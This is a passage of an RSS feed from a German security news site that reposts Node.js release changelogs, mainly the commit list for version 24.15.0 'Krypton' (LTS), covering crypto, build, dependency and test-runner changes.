<li>[<a href="https://github.com/nodejs/node/commit/cb08a29d51"><code>cb08a29d51</code></a>] - <strong>test</strong>: skip test-cluster-dgram-reuse on AIX 7.3 (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/62238" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62238/hovercard">#62238</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/abea0af8a9"><code>abea0af8a9</code></a>] - <strong>test</strong>: add WebCrypto Promise.prototype.then pollution regression tests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62226/hovercard">#62226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/47a2132269"><code>47a2132269</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 6a1c545d77 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62187/hovercard">#62187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c63d3006c"><code>2c63d3006c</code></a>] - <strong>test_runner</strong>: add exports option for module mocks (sangwook) <a href="https://github.com/nodejs/node/pull/61727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61727/hovercard">#61727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44ac0e1302"><code>44ac0e1302</code></a>] - <strong>test_runner</strong>: make it compatible with fake timers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/59272" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59272/hovercard">#59272</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1865691275"><code>1865691275</code></a>] - <strong>test_runner</strong>: set non-zero exit code when suite errors occur (Edy Silva) <a href="https://github.com/nodejs/node/pull/62282" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62282/hovercard">#62282</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0252b2bab8"><code>0252b2bab8</code></a>] - <strong>tools</strong>: bump picomatch from 4.0.3 to 4.0.4 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62439" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62439/hovercard">#62439</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3368155267"><code>3368155267</code></a>] - <strong>tools</strong>: bump yaml from 2.8.2 to 2.8.3 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62437" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62437/hovercard">#62437</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e47c359f5"><code>5e47c359f5</code></a>] - <strong>tools</strong>: adopt the <code>--check-for-duplicates</code> NCU flag (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62478" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62478/hovercard">#62478</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a604e82d0"><code>4a604e82d0</code></a>] - <strong>tools</strong>: bump picomatch in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62438" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62438/hovercard">#62438</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d1a98b4ddb"><code>d1a98b4ddb</code></a>] - <strong>tools</strong>: bump flatted from 3.4.1 to 3.4.2 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62375" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62375/hovercard">#62375</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c32daa1ab4"><code>c32daa1ab4</code></a>] - <strong>tools</strong>: bump eslint deps (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/62356" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62356/hovercard">#62356</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a2fcc6d41"><code>7a2fcc6d41</code></a>] - <strong>tools</strong>: do not swallow error in <code>lint-nix</code> workflow (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62292" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62292/hovercard">#62292</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c41a2871b5"><code>c41a2871b5</code></a>] - <strong>tools</strong>: add eslint-plugin-regexp (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/62093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62093/hovercard">#62093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56dfeb06df"><code>56dfeb06df</code></a>] - <strong>tools</strong>: fix timeout errors in <code>lint-nix</code> job (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62265" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62265/hovercard">#62265</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/22fc8078e8"><code>22fc8078e8</code></a>] - <strong>tools</strong>: bump flatted from 3.3.3 to 3.4.1 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62255/hovercard">#62255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/409b0663bd"><code>409b0663bd</code></a>] - <strong>tools</strong>: bump undici from 6.23.0 to 6.24.1 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62250" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62250/hovercard">#62250</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67c69750f4"><code>67c69750f4</code></a>] - <strong>tools</strong>: validate all commits that are pushed to <code>main</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62246/hovercard">#62246</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d9db8cd21"><code>7d9db8cd21</code></a>] - <strong>tools</strong>: keep GN files when updating Merve (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62167" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62167/hovercard">#62167</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c8fa42ba2"><code>6c8fa42ba2</code></a>] - <strong>typings</strong>: rationalise TypedArray types (René) <a href="https://github.com/nodejs/node/pull/62174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62174/hovercard">#62174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/531c64d04e"><code>531c64d04e</code></a>] - <strong>url</strong>: enable simdutf for ada (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/61477" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61477/hovercard">#61477</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2000caccde"><code>2000caccde</code></a>] - <strong>util</strong>: allow color aliases in styleText (sangwook) <a href="https://github.com/nodejs/node/pull/62180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62180/hovercard">#62180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0aed332ab4"><code>0aed332ab4</code></a>] - <strong>wasm</strong>: support js string constant esm import (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62198" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62198/hovercard">#62198</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3fd4a978b"><code>d3fd4a978b</code></a>] - <strong>worker</strong>: heap profile optimizations (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62201" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62201/hovercard">#62201</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e992a34a18"><code>e992a34a18</code></a>] - <strong>zlib</strong>: fix use-after-free when reset() is called during write (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62325/hovercard">#62325</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-04-15, Version 24.15.0 'Krypton' (LTS), @aduh95]]></title>
<description><![CDATA[Notable Changes

[3d87ecacbc] - (SEMVER-MINOR) cli: add --max-heap-size option (tannal) #58708
[83c38672f7] - cli: add --require-module/--no-require-module (Joyee Cheung) #60959
[54ef940e01] - (SEMVER-MINOR) crypto: add raw key formats support to the KeyObject APIs (Filip Skokan) #62240
[f4a3edc4...]]></description>
<link>https://tsecurity.de/de/3487681/downloads/2026-04-15-version-24150-krypton-lts-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487681/downloads/2026-04-15-version-24150-krypton-lts-aduh95/</guid>
<pubDate>Tue, 05 May 2026 02:02:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/3d87ecacbc"><code>3d87ecacbc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>cli</strong>: add --max-heap-size option (tannal) <a href="https://github.com/nodejs/node/pull/58708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58708/hovercard">#58708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83c38672f7"><code>83c38672f7</code></a>] - <strong>cli</strong>: add --require-module/--no-require-module (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60959/hovercard">#60959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54ef940e01"><code>54ef940e01</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add raw key formats support to the KeyObject APIs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62240/hovercard">#62240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4a3edc47a"><code>f4a3edc47a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add <code>throwIfNoEntry</code> option for fs.stat and fs.promises.stat (Juan José) <a href="https://github.com/nodejs/node/pull/61178" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61178/hovercard">#61178</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5cdcba17cc"><code>5cdcba17cc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http2</strong>: add http1Options for HTTP/1 fallback configuration (Amol Yadav) <a href="https://github.com/nodejs/node/pull/61713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61713/hovercard">#61713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b6be3fe14"><code>8b6be3fe14</code></a>] - <strong>module</strong>: mark require(esm) as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60959/hovercard">#60959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/68fbc0c6cc"><code>68fbc0c6cc</code></a>] - <strong>module</strong>: mark module compile cache as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60971" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60971/hovercard">#60971</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c851e76f8c"><code>c851e76f8c</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: add <code>setTOS</code> and <code>getTOS</code> to <code>Socket</code> (Amol Yadav) <a href="https://github.com/nodejs/node/pull/61503" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61503/hovercard">#61503</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ac4304c87"><code>6ac4304c87</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sqlite</strong>: add limits property to DatabaseSync (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61298/hovercard">#61298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aaf9af1672"><code>aaf9af1672</code></a>] - <strong>sqlite</strong>: mark as release candidate (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61262" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61262/hovercard">#61262</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb77a7a297"><code>eb77a7a297</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: add C++ support for diagnostics channels (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6834ca13bb"><code>6834ca13bb</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: rename <code>Duplex.toWeb()</code> type option to <code>readableType</code> (René) <a href="https://github.com/nodejs/node/pull/61632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61632/hovercard">#61632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5f21d36a6"><code>f5f21d36a6</code></a>] - <strong>test_runner</strong>: add exports option for module mocks (sangwook) <a href="https://github.com/nodejs/node/pull/61727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61727/hovercard">#61727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f2025fd1e"><code>1f2025fd1e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: expose worker ID for concurrent test execution (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61394/hovercard">#61394</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ca20fc33d"><code>1ca20fc33d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: show interrupted test on SIGINT (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61676" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61676/hovercard">#61676</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/148373cea1"><code>148373cea1</code></a>] - <strong>assert,util</strong>: improve comparison performance (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61176" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61176/hovercard">#61176</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5558b0859"><code>e5558b0859</code></a>] - <strong>assert,util</strong>: fix deep comparing invalid dates skipping properties (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61076/hovercard">#61076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83cffd92b5"><code>83cffd92b5</code></a>] - <strong>async_hooks</strong>: enabledHooksExist shall return if hooks are enabled (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61054/hovercard">#61054</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c9436b43d"><code>2c9436b43d</code></a>] - <strong>benchmark</strong>: fix destructuring in dgram/single-buffer (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62084/hovercard">#62084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/837acd7382"><code>837acd7382</code></a>] - <strong>benchmark</strong>: add startup benchmark for ESM entrypoint (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61769/hovercard">#61769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6ced7d272"><code>a6ced7d272</code></a>] - <strong>buffer</strong>: improve performance of multiple Buffer operations (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61871/hovercard">#61871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a82003bf8b"><code>a82003bf8b</code></a>] - <strong>buffer</strong>: optimize buffer.concat performance (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61721" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61721/hovercard">#61721</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83dfd0be1d"><code>83dfd0be1d</code></a>] - <strong>buffer</strong>: disallow ArrayBuffer transfer on pooled buffer (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61372" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61372/hovercard">#61372</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ed2d0cb1bf"><code>ed2d0cb1bf</code></a>] - <strong>build</strong>: support empty libname flags in <code>configure.py</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62477" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62477/hovercard">#62477</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09f7920267"><code>09f7920267</code></a>] - <strong>build</strong>: fix timezone-update path references (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62280" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62280/hovercard">#62280</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af46b15b91"><code>af46b15b91</code></a>] - <strong>build</strong>: use path-ignore in GHA coverage-windows.yml (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61811" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61811/hovercard">#61811</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cf77eadd1"><code>2cf77eadd1</code></a>] - <strong>build</strong>: generate_config_gypi.py generates valid JSON (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61791/hovercard">#61791</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0220f0c35"><code>e0220f0c35</code></a>] - <strong>build</strong>: build with v8 gdbjit support on supported platform (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61010" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61010/hovercard">#61010</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5505511dcb"><code>5505511dcb</code></a>] - <strong>build</strong>: enable -DV8_ENABLE_CHECKS flag (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61327" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61327/hovercard">#61327</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f8ecf3940"><code>5f8ecf3940</code></a>] - <strong>build</strong>: add --debug-symbols to build with -g without enabling DCHECKs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61100/hovercard">#61100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab18c0867b"><code>ab18c0867b</code></a>] - <strong>build</strong>: fix --node-builtin-modules-path (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62115/hovercard">#62115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfa60d5782"><code>bfa60d5782</code></a>] - <strong>build</strong>: fix GN for new merve dep (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/61984" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61984/hovercard">#61984</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0d1975fe3a"><code>0d1975fe3a</code></a>] - <strong>build,win</strong>: add WinGet Visual Studio 2022 Build Tools Edition config (Mike McCready) <a href="https://github.com/nodejs/node/pull/61652" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61652/hovercard">#61652</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10b2bb5fa6"><code>10b2bb5fa6</code></a>] - <strong>child_process</strong>: add tracing channel for spawn (Marco) <a href="https://github.com/nodejs/node/pull/61836" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61836/hovercard">#61836</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d87ecacbc"><code>3d87ecacbc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>cli</strong>: add --max-heap-size option (tannal) <a href="https://github.com/nodejs/node/pull/58708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58708/hovercard">#58708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83c38672f7"><code>83c38672f7</code></a>] - <strong>cli</strong>: add --require-module/--no-require-module (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60959/hovercard">#60959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9d37233824"><code>9d37233824</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.121 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62485" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62485/hovercard">#62485</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0cbfe38a4"><code>b0cbfe38a4</code></a>] - <strong>crypto</strong>: add crypto::GetSSLCtx API for addon access to OpenSSL contexts (Tim Perry) <a href="https://github.com/nodejs/node/pull/62254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62254/hovercard">#62254</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc034a4ac9"><code>dc034a4ac9</code></a>] - <strong>crypto</strong>: reject ML-KEM/ML-DSA PKCS#8 import without seed in SubtleCrypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62218/hovercard">#62218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8aa6e706df"><code>8aa6e706df</code></a>] - <strong>crypto</strong>: refactor WebCrypto AEAD algorithms auth tag handling (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62169/hovercard">#62169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20cb932bcf"><code>20cb932bcf</code></a>] - <strong>crypto</strong>: read algorithm name property only once in normalizeAlgorithm (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62170/hovercard">#62170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2934162b4"><code>e2934162b4</code></a>] - <strong>crypto</strong>: add missing AES dictionaries (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62099/hovercard">#62099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b8db52f65"><code>8b8db52f65</code></a>] - <strong>crypto</strong>: fix importKey required argument count check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62099/hovercard">#62099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd5458db29"><code>bd5458db29</code></a>] - <strong>crypto</strong>: fix missing nullptr check on RSA_new() (ndossche) <a href="https://github.com/nodejs/node/pull/61888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61888/hovercard">#61888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7302c7ed22"><code>7302c7ed22</code></a>] - <strong>crypto</strong>: fix handling of null BUF_MEM* in ToV8Value() (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61885/hovercard">#61885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d0c22ea20"><code>8d0c22ea20</code></a>] - <strong>crypto</strong>: fix potential null pointer dereference when BIO_meth_new() fails (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61788/hovercard">#61788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/72aad8b40f"><code>72aad8b40f</code></a>] - <strong>crypto</strong>: always return certificate serial numbers as uppercase (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61752" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61752/hovercard">#61752</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2395fc0f4d"><code>2395fc0f4d</code></a>] - <strong>crypto</strong>: rename CShakeParams and KmacParams length to outputLength (Filip Skokan) <a href="https://github.com/nodejs/node/pull/61875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61875/hovercard">#61875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/541be3aaf2"><code>541be3aaf2</code></a>] - <strong>crypto</strong>: recognize raw formats in keygen (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62480/hovercard">#62480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54ef940e01"><code>54ef940e01</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add raw key formats support to the KeyObject APIs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62240/hovercard">#62240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bef1949823"><code>bef1949823</code></a>] - <strong>deps</strong>: V8: cherry-pick 33e7739c134d (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62567" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62567/hovercard">#62567</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e1a565a55"><code>2e1a565a55</code></a>] - <strong>deps</strong>: update ada to 3.4.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62414/hovercard">#62414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0418bad10"><code>d0418bad10</code></a>] - <strong>deps</strong>: update timezone to 2026a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62164" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62164/hovercard">#62164</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53aad66415"><code>53aad66415</code></a>] - <strong>deps</strong>: update googletest to 2461743991f9aa53e9a3625eafcbacd81a3c74cd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62484" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62484/hovercard">#62484</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/90fab71a84"><code>90fab71a84</code></a>] - <strong>deps</strong>: update simdjson to 4.5.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62382/hovercard">#62382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a416ddf6d9"><code>a416ddf6d9</code></a>] - <strong>deps</strong>: V8: cherry-pick cf1bce40a5ef (Richard Lau) <a href="https://github.com/nodejs/node/pull/62449" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62449/hovercard">#62449</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d9123e57d"><code>4d9123e57d</code></a>] - <strong>deps</strong>: upgrade npm to 11.12.1 (npm team) <a href="https://github.com/nodejs/node/pull/62448" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62448/hovercard">#62448</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/952d715028"><code>952d715028</code></a>] - <strong>deps</strong>: update sqlite to 3.51.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62256/hovercard">#62256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f3fd7ed426"><code>f3fd7ed426</code></a>] - <strong>deps</strong>: update googletest to 73a63ea05dc8ca29ec1d2c1d66481dd0de1950f1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61927" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61927/hovercard">#61927</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71a2f82d7c"><code>71a2f82d7c</code></a>] - <strong>deps</strong>: upgrade npm to 11.11.1 (npm team) <a href="https://github.com/nodejs/node/pull/62216" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62216/hovercard">#62216</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/84f60c26f7"><code>84f60c26f7</code></a>] - <strong>deps</strong>: update amaro to 1.1.8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62151/hovercard">#62151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/43159d0e5f"><code>43159d0e5f</code></a>] - <strong>deps</strong>: update sqlite to 3.52.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62150" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62150/hovercard">#62150</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b887657b38"><code>b887657b38</code></a>] - <strong>deps</strong>: V8: cherry-pick aa0b288f87cc (Richard Lau) <a href="https://github.com/nodejs/node/pull/62136" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62136/hovercard">#62136</a></li>
